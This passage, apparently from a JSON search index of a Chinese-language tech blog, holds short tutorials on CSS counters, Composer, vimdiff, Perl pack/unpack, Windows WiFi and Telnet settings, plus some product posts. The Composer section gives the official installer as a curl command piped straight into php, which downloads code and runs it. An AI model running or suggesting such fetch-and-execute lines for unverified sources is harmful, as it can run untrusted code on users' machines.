style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"origami-club\"\u003eOrigami Club\u003c/h2\u003e\n\u003cp\u003eOrigami Club 是一個日文的摺紙教學網站，裡面有很豐富的摺紙教學，包含各種傳統的摺紙、動物、昆蟲、服裝、食物、家電等等，是一個很棒的網站。\u003c/p\u003e","title":"紙藝網站整理：摺紙、紙模型等素材與教學"},{"content":"這裡教大家如何在 Windows 中查看儲存在電腦中的 WiFi 無線網路密碼，這在忘記密碼時很好用。\n通常我們自己家中的 WiFi 無線網路都會設定一組密碼來保護網路的安全，不過通常一般人都會將密碼直接儲存在電腦或是手機中，這樣才不用每次連上網路時都要打密碼。雖然這樣將密碼儲存起來讓電腦自動登入無線網路很方便，不過時間一久也很容易把密碼忘記，如果有一天突然有新的設備要輸入密碼時，就比較頭痛了。\n以下介紹如何從 Windows 中查詢儲存在電腦中的無線網路密碼。\nStep 1\n首先在桌面右下角的系統圖示列中，開啓網路和共用中心。\nStep 2\n點選要查詢密碼的無線網路。\nStep 3\n點選「無線內容」。\nStep 4\n選擇「安全性」籤頁，然後在「網路安全性金鑰」欄位中將「顯示字元」打勾，這樣就可以看到這個 WiFi 無線網路的密碼了。\n","permalink":"https://blog.gtwang.org/windows/recover-wifi-network-router-password/","summary":"\u003cp\u003e這裡教大家如何在 Windows 中查看儲存在電腦中的 WiFi 無線網路密碼，這在忘記密碼時很好用。\u003c/p\u003e\n\u003cp\u003e通常我們自己家中的 WiFi 無線網路都會設定一組密碼來保護網路的安全，不過通常一般人都會將密碼直接儲存在電腦或是手機中，這樣才不用每次連上網路時都要打密碼。雖然這樣將密碼儲存起來讓電腦自動登入無線網路很方便，不過時間一久也很容易把密碼忘記，如果有一天突然有新的設備要輸入密碼時，就比較頭痛了。\u003c/p\u003e","title":"從 Windows 中找回忘記的 WiFi 無線網路密碼"},{"content":"這裡介紹如何使用 CSS 的 ::before selector 自訂 HTML ordered lists（ol）的編號樣式。\n一般 HTML 的 ordered lists（ol）呈現的效果是這樣：\n這是第一個項目 這是第二個項目 這是第三個項目 這是第四個項目 這是第五個項目 我們這裡介紹如何使用 CSS 自訂每一個項目的編號：\n這是第一個項目 這是第二個項目 這是第三個項目 這是第四個項目 這是第五個項目 以下是實作步驟。\nStep 1\n首先，將既有的編號拿掉，並加上一些邊界空白的設定。\n.custom-counter { padding-left: 10px; margin-left: ; padding-right: ; list-style-type: none; } Step 2\n使用 counter-increment 自訂計數器的名稱。\n.custom-counter li { counter-increment: step-counter; } 這裡的 step-counter 是一個自訂的名稱，您可以隨便取，只要跟隨後 ::before 中的名稱有對應好即可。\nStep 3\n使用 ::before 在每個項目之前插入自訂的編號，並設定編號的樣式。\n.custom-counter li::before { content: counter(step-counter); margin-right: 5px; font-size: 80%; background-color: #2ecc71; color: white; font-weight: bold; padding: 3px 8px; border-radius: 3px; } 這裡的 counter 要對應上面的自訂計數器名稱（這裡是 step-counter），這樣瀏覽器就會自動計算 li 的個數，依序編號。\n","permalink":"https://blog.gtwang.org/web-development/customize-ordered-lists-pseudo-element/","summary":"\u003cp\u003e這裡介紹如何使用 CSS 的 \u003ccode\u003e::before\u003c/code\u003e selector 自訂 HTML ordered lists（\u003ccode\u003eol\u003c/code\u003e）的編號樣式。\u003c/p\u003e\n\u003cp\u003e一般 HTML 的 ordered lists（\u003ccode\u003eol\u003c/code\u003e）呈現的效果是這樣：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e這是第一個項目\u003c/li\u003e\n\u003cli\u003e這是第二個項目\u003c/li\u003e\n\u003cli\u003e這是第三個項目\u003c/li\u003e\n\u003cli\u003e這是第四個項目\u003c/li\u003e\n\u003cli\u003e這是第五個項目\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e我們這裡介紹如何使用 CSS 自訂每一個項目的編號：\u003c/p\u003e","title":"使用 CSS 的 ::before 自訂 HTML Ordered Lists 的編號樣式"},{"content":"這裡介紹如何啟用 Windows 7 內建的 Telnet，在不需要下載或安裝任何軟體的情況下，連上一般的 BBS 站。\n在以前 Windows XP 中，我們如果在命令提示字元（cmd）下，直接執行\ntelnet ptt.cc 就可以連上 PTT BBS 站，不過在 Windows 7 中，由於預設的情況下沒有開啟 Telnet 的功能，所以執行這行指令會出現這樣的錯誤訊息： ‘telnet’ 不是內部或外部命令、可執行的程式或批次檔。 而解決的方法就是將系統的「Telnet 用戶端」功能啟用即可，以下是操作步驟。\nStep 1\n在 Windows 主選單中選擇「控制台」。\nStep 2\n選擇「程式集」。\nStep 3\n選擇「開啟或關閉 Windows 功能」。\nStep 4\n勾選「Telnet 用戶端」。\n按下「確定」之後，就會啟用 Telnet 的功能了。\nStep 5\n這時候我們就可以直接在主選單的執行功能中直接執行 telnet\n這樣就可以直接連上 BBS 站了。另一個方式是在命令提示字元中執行，兩種方式都可以：\n","permalink":"https://blog.gtwang.org/windows/windows-7-enable-telnet-bbs/","summary":"\u003cp\u003e這裡介紹如何啟用 Windows 7 內建的 Telnet，在不需要下載或安裝任何軟體的情況下，連上一般的 BBS 站。\u003c/p\u003e\n\u003cp\u003e在以前 Windows XP 中，我們如果在命令提示字元（cmd）下，直接執行\u003c/p\u003e","title":"啟用 Windows 7 內建的 Telnet 功能，不用安裝軟體即可連上 BBS 站"},{"content":"Color Thief 是一個有趣的網頁小工具，透過 JavaScript 將圖片的主要顏色整理出來，顯示其色盤（palette）。\nColor Thief 是一個開放原始碼的網頁小工具，它可以透過簡單的 JavaScript 就取得圖片中的主要顏色與色盤，您可以直接透過其官方網站的範例，來了解它的功能。\n名稱：Color Thief\n網站：https://lokeshdhakar.com/projects/color-thief/\n在它的官方網站上除了使用它所提供的範例圖片之外，您也可以自行使用自己的圖檔來分析，只要直接將自己的圖檔用滑鼠拖曳進「DRAG AN IMAGE HERE」方匡中即可。\n其原始碼可以從 GitHub 網站下載，如果想知道其實作方式的人可以從他的原始碼上下手。\n","permalink":"https://blog.gtwang.org/useful-tools/color-thief/","summary":"\u003cp\u003eColor Thief 是一個有趣的網頁小工具，透過 JavaScript 將圖片的主要顏色整理出來，顯示其色盤（palette）。\u003c/p\u003e\n\u003cp\u003eColor Thief 是一個開放原始碼的網頁小工具，它可以透過簡單的 JavaScript 就取得圖片中的主要顏色與色盤，您可以直接透過其官方網站的範例，來了解它的功能。\u003c/p\u003e","title":"Color Thief：取得圖片中的主要顏色與色盤（Palette）"},{"content":"Composer 是一個 PHP 專用的套件相依性管理程式，它可以依照套件相依性的設定檔，自動下載與安裝或升級各種 PHP 套件。\n安裝 Composer Linux 與 Mac OS X 如果是在 Linux 或是 Mac OS X 中，可以使用簡單的指令來將 Composer 安裝在自己的目錄中：\ncurl -sS https://getcomposer.org/installer | php 如果這個方式無法成功安裝的話，可以再嘗試另外一個方式：\nphp -r \u0026#34;readfile(\u0026#39;https://getcomposer.org/installer\u0026#39;);\u0026#34; | php 在預設的狀況下，它會檢查一些 PHP 的相關設定，並且下載一個 composer.phar 檔案到目前的目錄中，這個檔案是一個 PHAR（PHP archive）檔，包含了所有 Composer 執行所需要的檔案。\n您也可以加上 --install-dir 指定安裝的目錄：\ncurl -sS https://getcomposer.org/installer | php -- --install-dir=bin 基本上您可以安裝在任何地方，若要放在系統的目錄中也可以：\ncurl -sS https://getcomposer.org/installer | php sudo mv composer.phar /usr/local/bin/composer Windows 如果是在 Windows 系統，就直接下載 Composer-Setup.exe 這個安裝檔，它會自動安裝最新版的 Composer 並且設定好系統的 PATH。\n使用 Composer 在開始使用 Composer 之前，您必須建立一個檔名為 composer.json 的設定檔，這個檔案會描述了您的專案所需要的相依性套件。\nrequire 關鍵字 composer.json 設定檔中，最基本的語法就是以 require 列出專案所需要套件：\n{ \u0026#34;require\u0026#34;: { \u0026#34;monolog/monolog\u0026#34;: \u0026#34;1.0.*\u0026#34; } } require 所指定的物件內容會描述套件的名稱（如：monolog/monolog）與其版本（如：1.0.*）。\n套件的名稱中包含兩個部分，一個是廠商名稱（vendor name），另一個是專案的名稱（project’s name），大部份的情況下這兩個名稱可能會相同（就像上面的例子），而這樣設計的目的是為了處理不同套件卻使用了相同名稱的狀況，如果專案名稱相同的話，還可以靠作者的名稱來區別（例如 igorw/json 與 seldaek/json）。\n套件版本的部分，有好多種指定的形式，您可以依照自己的需求選擇：\n名稱 範例 敘述 確切版本 1.0.2 完全依照指定的版本。 版本範圍 \u0026gt;=1.0、\u0026gt;=1.0,\u0026lt;2.0、\u0026gt;=1.0,\u0026lt;1.1 | \u0026gt;=1.2 指定版本的範圍，可用的運算子有：\u0026gt;、\u0026gt;=、\u0026lt;、\u0026lt;=、!=。逗號（,）代表 AND 運算，pipe（|）代表 OR 運算，而 AND 運算的優先權大於 OR 運算子。 萬用字元 1.0.* 以萬用字元指定版本，1.0.* 等同於 \u0026gt;=1.0,\u0026lt;1.1。 Tilde 運算子 ~1.2 維持主要版本。~1.2 等同於 \u0026gt;=1.2,\u0026lt;2.0。 在設定好 composer.json 之後，就可以執行這行指令，讓 Composer 自動安裝所依需要的套件：\nphp composer.phar install 這裡僅介紹 Composer 基本的用法，詳細的使用說明，可以參考 Composer 官方網站的文件。\n","permalink":"https://blog.gtwang.org/web-development/composer-php-dependency-manager/","summary":"\u003cp\u003eComposer 是一個 PHP 專用的套件相依性管理程式，它可以依照套件相依性的設定檔，自動下載與安裝或升級各種 PHP 套件。\u003c/p\u003e\n\u003ch1 id=\"安裝-composer\"\u003e安裝 Composer\u003c/h1\u003e\n\u003ch2 id=\"linux-與-mac-os-x\"\u003eLinux 與 Mac OS X\u003c/h2\u003e\n\u003cp\u003e如果是在 Linux 或是 Mac OS X 中，可以使用簡單的指令來將 Composer 安裝在自己的目錄中：\u003c/p\u003e","title":"Composer：PHP 專用的套件相依性管理程式"},{"content":"Whiteboard Fox 是一個線上白板，可以讓您在上面直接畫圖，即時跟任何人分享，而且對方也可以及時修改您所繪製的圖形。\n現在網際網路非常發達，大多數人都會使用 LINE 或 Skype 等聊天軟體來溝通，既方便又經濟，不過這類的軟體大概都只能使用語音或是視訊等方式來溝通，如果要討論一些比較複雜的計劃或架構圖時，只用打字或是直接用講可能會不太清楚，如果有個白板可以把整個討論內容畫下來，就很方便了。\n名稱：Whiteboard Fox\n網址：https://r9.whiteboardfox.com/\nWhiteboard Fox 就是一個很好用的線上白板工具，不需要註冊，只要連上他的網頁就可以直接使用。\n在進入 Whiteboard Fox 的線上白板之後，會建立一個獨立的網址，您可以在上面自由繪圖，若要跟別人分享自己所畫的圖，就直接將網址複製起來，透過 LINE 或 Skype 等通訊軟體傳送給別人即可，當對方開啟同一個網址時，就可以看到同一個畫面，甚至還可以跟您一起編輯它。\n除了一般的瀏覽器之外，您也可以使用手機或是平板來操作，非常方便。\n另外可參考官方的示範影片，他用兩台平板來示範各種使用情境，看起來還不錯。\n","permalink":"https://blog.gtwang.org/useful-tools/whiteboard-fox/","summary":"\u003cp\u003eWhiteboard Fox 是一個線上白板，可以讓您在上面直接畫圖，即時跟任何人分享，而且對方也可以及時修改您所繪製的圖形。\u003c/p\u003e\n\u003cp\u003e現在網際網路非常發達，大多數人都會使用 LINE 或 Skype 等聊天軟體來溝通，既方便又經濟，不過這類的軟體大概都只能使用語音或是視訊等方式來溝通，如果要討論一些比較複雜的計劃或架構圖時，只用打字或是直接用講可能會不太清楚，如果有個白板可以把整個討論內容畫下來，就很方便了。\u003c/p\u003e","title":"Whiteboard Fox：免費的線上白板，即時同步分享手繪圖表"},{"content":"這裡介紹如何使用 Vimdiff 來比較兩個檔案之間的差異，這個小工具可以讓開發者在檢查不同版本的程式碼時輕鬆很多。\n一般在 Linux 系統中，如果要比較兩個文字檔案的差異，最常見的方式就是使用 diff 指令：\ndiff FILE_LEFT FILE_RIGHT 不過因為 diff 的功能有限，要靠 diff 來辨識檔案之間的差異處也不是很方便，如果您會使用 Vim 這個編輯器，那麼改用 vimdiff 會方便許多。\nvimdiff 的使用方式跟 diff 類似：\nvimdiff FILE_LEFT FILE_RIGHT 不過他會直接開啟 Vim 編輯器，以很直覺方式顯示檔案的差異，透過這樣的介面來閱覽程式碼會比直接看 diff 的輸出更好辨識。\n如果您喜歡使用 GVim，也可以使用 gvimdiff，使用方式也都相同。\ngvimdiff FILE_LEFT FILE_RIGHT 除了以指令的方式呼叫 vimdiff 之外，在 Vim 的環境中也可以透過分割視窗的指令來啟動 diff 的功能。假設我們正在編輯一個檔案：\nvim FILE_LEFT 這時候我們可以直接使用這樣的指令來啟用 diff 的功能：\n:vertical diffsplit FILE_RIGHT 在 Windows 平台中，Vim 7.3 與 7.4 版 _vimrc 中的 MyDiff() 會造成 diff 的功能不正常，這裡有提供修正的版本，將原本 _vimrc 中的 MyDiff() 替換掉即可正常使用。\n如果要在各個差異點之間快速移動，可以使用這兩個指令：\n]c：跳到下一個差異點。 [c：跳到前一個差異點。 卷軸與游標同步 在 vimdiff 預設的狀態下，左右兩邊的卷軸是保持同步的，也就是說不管您捲動哪一個檔案的卷軸，另一個檔案也會一起捲動，這個功能在比較檔案差異性時會很方便。而如果要取消卷軸同步的功能，可以使用這個 Vim 指令：\n:set noscrollbind 而游標的同步功能也跟卷軸類似，若要取消可以使用\n:set nocursorbind 唯讀模式 如果您只要查看檔案的差異，而不想更動到任何檔案內容，可以使用唯讀模式開啟 vimdiff：\nviewdiff FILE_LEFT FILE_RIGHT 或是使用 GVim：\ngviewdiff FILE_LEFT FILE_RIGHT 自訂 vimdiff 環境 如果您想要針對 vimdiff 的環境設定一些 Vim 的選項（例如開啟行號），可以在 .vimrc 中加入以下設定：\nif \u0026amp;diff \u0026#34; diff 模式設定 else \u0026#34; 非 diff 模式設定 endif 這樣就可以將 diff 模式與一般的編輯模式區分開來，做一些特別的設定。\n參考資料 vimdoc ","permalink":"https://blog.gtwang.org/useful-tools/vimdiff/","summary":"\u003cp\u003e這裡介紹如何使用 Vimdiff 來比較兩個檔案之間的差異，這個小工具可以讓開發者在檢查不同版本的程式碼時輕鬆很多。\u003c/p\u003e\n\u003cp\u003e一般在 Linux 系統中，如果要比較兩個文字檔案的差異，最常見的方式就是使用 \u003ccode\u003ediff\u003c/code\u003e 指令：\u003c/p\u003e","title":"使用 Vimdiff 比較檔案間的差異"},{"content":"這裡介紹一個可以在網頁上繪製甘特圖（Gantt Plot）的 JavaScript 工具，畫面簡潔，使用上也很簡單。\n甘特圖是一種用來顯示專案進度或是其他時間相關資訊的條狀圖，一般的專案管理軟體（例如 Microsoft Project 或 Mr. Project）也都可以繪製這樣的圖形。\nTimesheet.js 是一個開放原始碼的 JavaScript 小工具，它可以讓您直接在網頁中製作甘特圖，而且不需要 jQuery 或是其他的工具，畫面看起來簡潔又清爽，重點是使用起來很簡單，以下介紹如何使用它來繪製自己需要的甘特圖。\nStep 1\n首先從 Timesheet.js 的 GitHub 網頁中下載 timesheet.js 與 timesheet.css 這兩個檔案，您可以直接點選右方的「Download ZIP」，把整個專案原始碼下載下來。\n然後再從 dist 目錄中取出這兩個檔案。\nStep 2\n接著在網頁的 \u0026lt;head\u0026gt; 標籤中引入這兩個檔案。\n\u0026lt;link href=\u0026#34;timesheet.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; /\u0026gt; \u0026lt;script src=\u0026#34;timesheet.js\u0026#34; type=\u0026#34;text/javascript\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Step 3\n在網頁中要放置甘特圖的地方，插入以下的 HTML 程式碼。\n\u0026lt;div id=\u0026#34;timesheet\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; Step 4\n最後在網頁的結尾處插入下面這段 JavaScript 程式碼。\n\u0026lt;script\u0026gt; new Timesheet(\u0026#39;timesheet\u0026#39;, 2002, 2013, [ [\u0026#39;2002\u0026#39;, \u0026#39;09/2002\u0026#39;, \u0026#39;A freaking awesome time\u0026#39;, \u0026#39;lorem\u0026#39;], [\u0026#39;06/2002\u0026#39;, \u0026#39;09/2003\u0026#39;, \u0026#39;Some great memories\u0026#39;, \u0026#39;ipsum\u0026#39;], [\u0026#39;2003\u0026#39;, \u0026#39;Had very bad luck\u0026#39;], [\u0026#39;10/2003\u0026#39;, \u0026#39;2006\u0026#39;, \u0026#39;At least had fun\u0026#39;, \u0026#39;dolor\u0026#39;], [\u0026#39;02/2005\u0026#39;, \u0026#39;05/2006\u0026#39;, \u0026#39;Enjoyed those times as well\u0026#39;, \u0026#39;ipsum\u0026#39;], [\u0026#39;07/2005\u0026#39;, \u0026#39;09/2005\u0026#39;, \u0026#39;Bad luck again\u0026#39;, \u0026#39;default\u0026#39;], [\u0026#39;10/2005\u0026#39;, \u0026#39;2008\u0026#39;, \u0026#39;For a long time nothing happened\u0026#39;, \u0026#39;dolor\u0026#39;], [\u0026#39;01/2008\u0026#39;, \u0026#39;05/2009\u0026#39;, \u0026#39;LOST Season #4\u0026#39;, \u0026#39;lorem\u0026#39;], [\u0026#39;01/2009\u0026#39;, \u0026#39;05/2009\u0026#39;, \u0026#39;LOST Season #4\u0026#39;, \u0026#39;lorem\u0026#39;], [\u0026#39;02/2010\u0026#39;, \u0026#39;05/2010\u0026#39;, \u0026#39;LOST Season #5\u0026#39;, \u0026#39;lorem\u0026#39;], [\u0026#39;09/2008\u0026#39;, \u0026#39;06/2010\u0026#39;, \u0026#39;FRINGE #1 \u0026amp; #2\u0026#39;, \u0026#39;ipsum\u0026#39;] ]); \u0026lt;/script\u0026gt; 其中 Timesheet() 的第一個參數是 container 的 id，要對應上面的 \u0026lt;div\u0026gt; 的 id，第二個與第三個參數就是起始與結束的年份，之後就是放繪製甘特圖用的資料，所以若要繪製自己的甘特圖，就把資料替換成自己的就可以了。\n畫出來的圖就會像這樣：\n","permalink":"https://blog.gtwang.org/web-development/timesheetjs-gantt-plot-javascript/","summary":"\u003cp\u003e這裡介紹一個可以在網頁上繪製甘特圖（Gantt Plot）的 JavaScript 工具，畫面簡潔，使用上也很簡單。\u003c/p\u003e\n\u003cp\u003e甘特圖是一種用來顯示專案進度或是其他時間相關資訊的條狀圖，一般的專案管理軟體（例如 Microsoft Project 或 Mr. Project）也都可以繪製這樣的圖形。\u003c/p\u003e","title":"Timesheet.js：在網頁上繪製甘特圖（Gantt Plot）的 JavaScript 工具"},{"content":"這是我最近用紅米 1S 手機試用 DailyRoads 這套手機行車紀錄器 App 的一點心得。\n現在 Android 平台上有很多免份的行車紀錄器 App，只要下載安裝之後，就可以拿手機當成行車紀錄器使用，最近我嘗試使用 DailyRoads 這套很熱門的 App，看起來是還不錯。\n當然要讓手機使用這樣的 App，還是要先購買好適用於自己手機的車架與車充，把手機架在車上之後，打開 DailyRoads 按下「錄影」鍵，就會開始紀錄。\n而錄製起來的影片，事後可以透過 App 所提供的播放功能，一邊播放影片一邊依照 GPS 的資訊在地圖上顯示行駛路徑。\n這款 App 的選項真的很多，許多功能都可以讓使用者自定，非常彈性。\n由於選項實在太多了，有興趣的人可以自己裝來玩玩看。\n錄影的解析度方面，我的紅米 1S 可以錄製到 HD 1080p，不過如果要這樣錄，SD 卡的容量也要大一些才行。\n這是實際錄製的影片檔，我想行車記錄的影片沒什麼特別，所以只放一小段。\n在車子行進過程中，可能因為當天陽光很強剛好照到鏡頭，導致它測光有時候不是很準確，有時候畫面會變成全白或全黑。\n另外我用這款 App 只錄了二十分鐘左右，就發現手機變得很燙，看起來手機還是不適合用來當成行車紀錄器，所以後來我就直接把這個 App 刪除了，建議大家如果要行車紀錄器，還是直接去買一台比較好，免得把手機搞壞。\n參考資料 T 客邦 ","permalink":"https://blog.gtwang.org/mobile/android-dailyroads-app/","summary":"\u003cp\u003e這是我最近用紅米 1S 手機試用 DailyRoads 這套手機行車紀錄器 App 的一點心得。\u003c/p\u003e\n\u003cp\u003e現在 Android 平台上有很多免份的行車紀錄器 App，只要下載安裝之後，就可以拿手機當成行車紀錄器使用，最近我嘗試使用 DailyRoads 這套很熱門的 App，看起來是還不錯。\u003c/p\u003e","title":"DailyRoads：Android 手機行車紀錄器 App 試用心得"},{"content":"在 Perl 中如果要處理二進位（Binary）的資料結構，通常都會使用 pack 與 unpack 來處理，這裡介紹這兩個函數的使用方法。\n在 C 語言中，我們可以使用 sizeof() 來得知配置給變數的記憶體大小，有了變數的記憶體位址與大小，就可以直接存取變數內部的資料，這種直接存取記憶體的方式，在處理二進位資料時，是常見的手法。\n在 Perl 中就沒辦法像 C 語言這樣直接存取記憶體，不過我們可以使用 pack() 與 unpack() 這兩個函數來將資料進行轉換，達到相同的功能。pack() 可以將變數中儲存的資料依照指定的格式樣板（template）轉換為一連串的位元組序列（byte sequence），而 unpack() 的功能則剛好相反，它是將位元組序列轉換回 Perl 的變數。\n不是所有被 pack() 轉換過的資料都可以直接被 unpack() 轉換回來，有些時候需要一些技巧。\n您可能會問為什麼我們在 Perl 中會需要用到記憶體中二進位的資料？最常見的狀況就是當我們需要處理一些二進位檔案、設備（device）或是網路傳輸時，這類的 I/O 資料通常都會需要以二進位的方式表示；另外一的狀況就是使用 Perl 中沒有的系統呼叫（system call）時，有時也會需要將資料以 C 語言中儲存的方式傳入；甚至也可以將這樣的二進位資料處理方式應用在文字的處理上，以簡化處理的流程。\n基本使用方式 首先介紹 unpack() 的使用方式，假設我們有一串二進位的資料，想要轉換為十六進位的方式傾印（dump）出來，可以這樣寫：\n#!/usr/bin/perl # 二進位的資料 $bin = \u0026#34;abcd\u0026#34;; # 轉換為十六進位的字串 $hex = unpack(\u0026#39;H*\u0026#39;, $bin); print \u0026#34;$hex\\n\u0026#34;; 輸出為\n61626364 其中 unpack() 的第一個參數是指定資料格式的樣板（template），這個例子的 H* 則是代表任意個十六進位數字的字串，詳細的樣板說明可以參考 pack 函數的說明。\n這裡輸出的數字就是 abcd 四個字母的 ASCII 碼，以小寫的 a 來說，其 ASCII 碼為 0x61，所以輸出的前兩個數字就是 61，其他以此類推。\n如果要將十六進位的字串轉換為二進位的資料，可以使用 pack() 函數：\n#!/usr/bin/perl # 十六進位的字串 $hex = \u0026#34;61626364\u0026#34;; # 轉換為二進位的資料 $bin = pack(\u0026#39;H*\u0026#39;, $hex); print \u0026#34;$bin\\n\u0026#34;; 輸出為\nabcd 文字處理 假設我們有一個文字檔案，其內容如下：\nDate |Description | Income|Expenditure 01/24/2001 Zed's Camel Emporium 1147.99 01/28/2001 Flea spray 24.99 01/29/2001 Camel rides to tourists 235.00 如果想要使用 Perl 解析這類的資料，一般第一個會想到的就是 split() 函數，不過這裡的資料並沒有很明顯可以辨識的分隔字元，所以也沒辦法直接用 split() 來處理，大概只能用 substr()：\nwhile (\u0026lt;\u0026gt;) { my $date = substr($_, 0, 11); my $desc = substr($_, 12, 27); my $income = substr($_, 40, 7); my $expend = substr($_, 52, 7); # ... } 雖然這樣的方式可以正常解析出這樣的資料，不過有點冗長。另一種常見的作法是改用常規表示法（regular expression）來匹配：\nwhile (\u0026lt;\u0026gt;) { my($date, $desc, $income, $expend) = m|(\\d\\d/\\d\\d/\\d{4}) (.{27}) (.{7})(.*)|; # ... } 不過這樣的程式碼可能也不是很好被閱讀或維護。\n這種狀況我們可以使用 unpack() 函數來處理：\nwhile (\u0026lt;\u0026gt;) { my($date, $desc, $income, $expend) = unpack(\u0026#34;A10xA27xA7A*\u0026#34;, $_); # ... } 這樣的程式碼會比較簡潔，而且容易閱讀，以下我們來解釋這裡的格式樣板 \u0026quot;A10xA27xA7A*\u0026quot; 所代表的意義。\n首先我們要解析第一個欄位，也就是前 10 個字元，在 pack 的樣板表示法中，字元是以 A 來表示的，而 10 個字元則寫成 A10，所以如果我們只是要解析前 10 個字元，就可以寫成\n$date = unpack(\u0026#34;A10\u0026#34;, $_); 接著第一欄與第二欄之間有一個沒有用的空白字元，這個字元我們使用 x 來跳過（x 代表跳過一個位元組）。\n而之後的第二欄與第三欄分別是 27 與 7 個字元，加上去之後就會變成\nmy($date, $description, $income) = unpack(\u0026#34;A10xA27xA7\u0026#34;, $_); 而最後一個欄位因為是選擇性的，有些行根本沒有，所以我們就用 A* 表示任意長度的字串，這樣只要是在這個之後的任何字元，都會被納入這一欄，如此一來就得到最後的結果：\nmy ($date, $description, $income, $expend) = unpack(\u0026#34;A10xA27xA7xA*\u0026#34;, $_); 假設我們想要計算收入與支出的總和並以同樣的格式輸出，可以這樣寫：\nwhile (\u0026lt;\u0026gt;) { my ($date, $desc, $income, $expend) = unpack(\u0026#34;A10xA27xA7xA*\u0026#34;, $_); $tot_income += $income; $tot_expend += $expend; } $tot_income = sprintf(\u0026#34;%.2f\u0026#34;, $tot_income); $tot_expend = sprintf(\u0026#34;%12.2f\u0026#34;, $tot_expend); $date = POSIX::strftime(\u0026#34;%m/%d/%Y\u0026#34;, localtime); print pack(\u0026#34;A11 A28 A8 A*\u0026#34;, $date, \u0026#34;Totals\u0026#34;, $tot_income, $tot_expend); 這樣其輸出就會跟原本的格式一致，而附加在原本的內容之後，就會變成這樣：\n01/28/2001 Flea spray 24.99 01/29/2001 Camel rides to tourists 1235.00 03/23/2001 Totals 1235.00 1172.98 這裡我們在 pack() 與 unpack() 中所使用的樣板有些差異，因為小寫的 x 在 pack() 的樣板中代表 null 字元，而我們排版需要的是一個空白字元，所以在 pack() 中要將 x 改為空白字元，這樣才能維持正確的排版。\n參考資料 perldoc ","permalink":"https://blog.gtwang.org/perl/perl-pack-unpack-tutorial/","summary":"\u003cp\u003e在 Perl 中如果要處理二進位（Binary）的資料結構，通常都會使用 \u003ccode\u003epack\u003c/code\u003e 與 \u003ccode\u003eunpack\u003c/code\u003e 來處理，這裡介紹這兩個函數的使用方法。\u003c/p\u003e\n\u003cp\u003e在 C 語言中，我們可以使用 \u003ccode\u003esizeof()\u003c/code\u003e 來得知配置給變數的記憶體大小，有了變數的記憶體位址與大小，就可以直接存取變數內部的資料，這種直接存取記憶體的方式，在處理二進位資料時，是常見的手法。\u003c/p\u003e","title":"Perl 的 pack 與 unpack 使用教學（處理二進位資料）"},{"content":"最近大家都在搶紅米手機，不過我 7/26 在 PChome 線上購物不用搶就可以買到了。\n這次的紅米手機剛推出，每次都用限量搶購的方式，雖然想要購買，但第一次去搶，等了一、二十分鐘結果沒搶到，浪費我吃飯的時間，所以後來也就懶得去搶了。\n沒想到今天在 PChome 上面看到，紅米手機 1S 都還有庫存，看起來是剩下最後一隻，看到就直接下單！\n不過我下單之後，又還有一隻，所以看起來庫存應該很充裕。\n然後再看看小米的官方網頁，29 號又有一批紅米手機 1S 的搶購，如果不在意顏色，上 PChome 就可以直接買了，不用中午餓肚子去搶。\n我下單的時間是 26 號早上 7 點 52 分，接下來就等著收貨了。\n2014/7/26 8:30 AM 下單後三分鐘，馬上有客服確認配送地址，半小時就出貨了，真是迅速！\n2014/7/26 9:50 AM 在郵局的「國內快捷/掛號/包裹查詢」網頁已經可以看到包裹的配送狀態了。\n2014/7/26 2:40 PM 看來已經在高速公路上了，不曉得今天會不會到。\n2014/7/27 5:40 AM 看來我期待過高，還要先送到台南郵局再轉送善化郵局。\n2014/7/27 9:00 AM 早上快九點送到。\n簡約風格的包裝。\n紅米手機。\n手機配件（電池與充電器）。\n開箱文網路上已經很多了，我想我就不寫了。\n2014/7/28 10:30 AM 剛剛看了一下 PChome 原來的網頁，已經顯示售完了，看來我的運氣不錯，莫名奇妙就給我買到。\n","permalink":"https://blog.gtwang.org/unboxing/pchome-mi-phone-1s/","summary":"\u003cp\u003e最近大家都在搶紅米手機，不過我 7/26 在 PChome 線上購物不用搶就可以買到了。\u003c/p\u003e\n\u003cp\u003e這次的紅米手機剛推出，每次都用限量搶購的方式，雖然想要購買，但第一次去搶，等了一、二十分鐘結果沒搶到，浪費我吃飯的時間，所以後來也就懶得去搶了。\u003c/p\u003e","title":"從 PChome 購買紅米手機 1S，不用預約也不用搶購"},{"content":"思源黑體是 Adobe 與 Google 合作開發的開放原始碼 CJK 字型，有七種不同粗細的字型系列，同時支援日文、韓文、繁體中文和簡體中文。\n據 Adobe Typekit Blog 文章的敘述，思源黑體各個系列中每種字體粗細總共有 65,535 個字符，整個系列總共接近五十萬個字符，全部都以開放原始碼的授權（Apache License 2.0）釋出，這樣大規模的免費字體是前所未見，對於亞洲的使用者而言，有很大的幫助。\n字型名稱：思源黑體\n下載網址：GitHub 或 Google\n這個計畫在三年前由 Adobe 與 Google 共同發起，參與的人員大約有 100 位，最後完成了 7 種不同粗細的字型。\n在這個計畫中，Adobe 負責幾乎所有初期字體的設計工作，而 Google 則負責出資並主導整個計劃，將字體的初稿分配給日本、韓國與中國的合作者，完成最後的版本。\n雖然這些字型都是從中文所演化而來的，但是經過了很長的時間，不同語言之間的字體就有一些細微的差異，而保留這些差異對各種語言的使用者而言也是很重要的，所以才會同時需要各國的專業人員來餐與這項計畫。\n這個字體可以從 GitHub 下載，Google 則是將這個字型命名為 Noto Sans CJK，整合進 Noto pan-Unicode 字體系列。\n參考資料 Google for Developers ","permalink":"https://blog.gtwang.org/funny/google-adobe-source-han-sans-cht/","summary":"\u003cp\u003e思源黑體是 Adobe 與 Google 合作開發的開放原始碼 CJK 字型，有七種不同粗細的字型系列，同時支援日文、韓文、繁體中文和簡體中文。\u003c/p\u003e\n\u003cp\u003e據 \u003ca href=\"https://blog.typekit.com/alternate/source-han-sans-cht/\"\u003eAdobe Typekit Blog\u003c/a\u003e 文章的敘述，思源黑體各個系列中每種字體粗細總共有 65,535 個字符，整個系列總共接近五十萬個字符，全部都以開放原始碼的授權（Apache License 